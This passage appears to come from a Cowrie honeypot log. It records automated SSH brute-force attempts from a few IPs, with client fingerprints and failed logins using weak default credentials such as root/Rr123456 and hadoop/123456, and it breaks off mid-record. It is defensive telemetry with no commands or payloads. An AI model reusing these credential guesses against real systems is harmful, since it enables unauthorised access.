{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:43.515237Z","src_ip":"165.154.137.186","session":"06a7ec144085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:43.777199Z","src_ip":"165.154.137.186","session":"06a7ec144085","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:44.639422Z","src_ip":"165.154.137.186","session":"06a7ec144085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:45.903058Z","src_ip":"165.154.137.186","session":"06a7ec144085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.741987228393555,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:09:07.111467Z","src_ip":"128.199.8.54","session":"079b2638e94e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":48408,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cd87b270282","protocol":"ssh","message":"New connection: 165.154.137.186:48408 (10.17.0.5:22) [session: 2cd87b270282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:09:16.134909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:09:16.148771Z","src_ip":"165.154.137.186","session":"2cd87b270282","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:09:16.403100Z","src_ip":"165.154.137.186","session":"2cd87b270282","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:09:17.171367Z","src_ip":"165.154.137.186","session":"2cd87b270282","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:09:18.440095Z","src_ip":"165.154.137.186","session":"2cd87b270282","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":57750,"dst_ip":"10.17.0.5","dst_port":22,"session":"91dfce870c80","protocol":"ssh","message":"New connection: 170.80.65.140:57750 (10.17.0.5:22) [session: 91dfce870c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:09:40.094194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:09:40.098963Z","src_ip":"170.80.65.140","session":"91dfce870c80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:09:40.223670Z","src_ip":"170.80.65.140","session":"91dfce870c80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Rr123456","message":"login attempt [root/Rr123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:09:40.751513Z","src_ip":"170.80.65.140","session":"91dfce870c80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:09:41.878591Z","src_ip":"170.80.65.140","session":"91dfce870c80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":32920,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d3f6f101874","protocol":"ssh","message":"New connection: 165.154.137.186:32920 (10.17.0.5:22) [session: 1d3f6f101874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:09:43.579150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:09:43.583379Z","src_ip":"165.154.137.186","session":"1d3f6f101874","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:09:43.846427Z","src_ip":"165.154.137.186","session":"1d3f6f101874","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:09:44.629010Z","src_ip":"165.154.137.186","session":"1d3f6f101874","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:09:45.891044Z","src_ip":"165.154.137.186","session":"1d3f6f101874","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":33754,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff7d2e0b6134","protocol":"ssh","message":"New connection: 165.154.137.186:33754 (10.17.0.5:22) [session: ff7d2e0b6134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:00.490845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:00.495334Z","src_ip":"165.154.137.186","session":"ff7d2e0b6134","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:00.758795Z","src_ip":"165.154.137.186","session":"ff7d2e0b6134","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:01.531467Z","src_ip":"165.154.137.186","session":"ff7d2e0b6134","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:02.796516Z","src_ip":"165.154.137.186","session":"ff7d2e0b6134","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":46538,"dst_ip":"159.203.135.109","dst_port":22,"session":"037aa72bca72","protocol":"ssh","message":"New connection: 77.94.47.83:46538 (159.203.135.109:22) [session: 037aa72bca72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:07.450343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:07.454208Z","src_ip":"77.94.47.83","session":"037aa72bca72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:07.565085Z","src_ip":"77.94.47.83","session":"037aa72bca72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"300385","message":"login attempt [root/300385] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:07.901886Z","src_ip":"77.94.47.83","session":"037aa72bca72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:09.017147Z","src_ip":"77.94.47.83","session":"037aa72bca72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":42706,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d424474978a","protocol":"ssh","message":"New connection: 165.154.137.186:42706 (10.17.0.5:22) [session: 2d424474978a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:18.461711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:18.473574Z","src_ip":"165.154.137.186","session":"2d424474978a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:18.727993Z","src_ip":"165.154.137.186","session":"2d424474978a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:19.574161Z","src_ip":"165.154.137.186","session":"2d424474978a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:20.829557Z","src_ip":"165.154.137.186","session":"2d424474978a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":47250,"dst_ip":"10.17.0.5","dst_port":22,"session":"224f9d7e501b","protocol":"ssh","message":"New connection: 165.154.137.186:47250 (10.17.0.5:22) [session: 224f9d7e501b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:32.335109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:32.340033Z","src_ip":"165.154.137.186","session":"224f9d7e501b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:32.612450Z","src_ip":"165.154.137.186","session":"224f9d7e501b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:33.644347Z","src_ip":"165.154.137.186","session":"224f9d7e501b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:34.885796Z","src_ip":"165.154.137.186","session":"224f9d7e501b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":47264,"dst_ip":"10.17.0.5","dst_port":22,"session":"568c926bf655","protocol":"ssh","message":"New connection: 165.154.137.186:47264 (10.17.0.5:22) [session: 568c926bf655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:42.257607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:10:42.262785Z","src_ip":"165.154.137.186","session":"568c926bf655","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh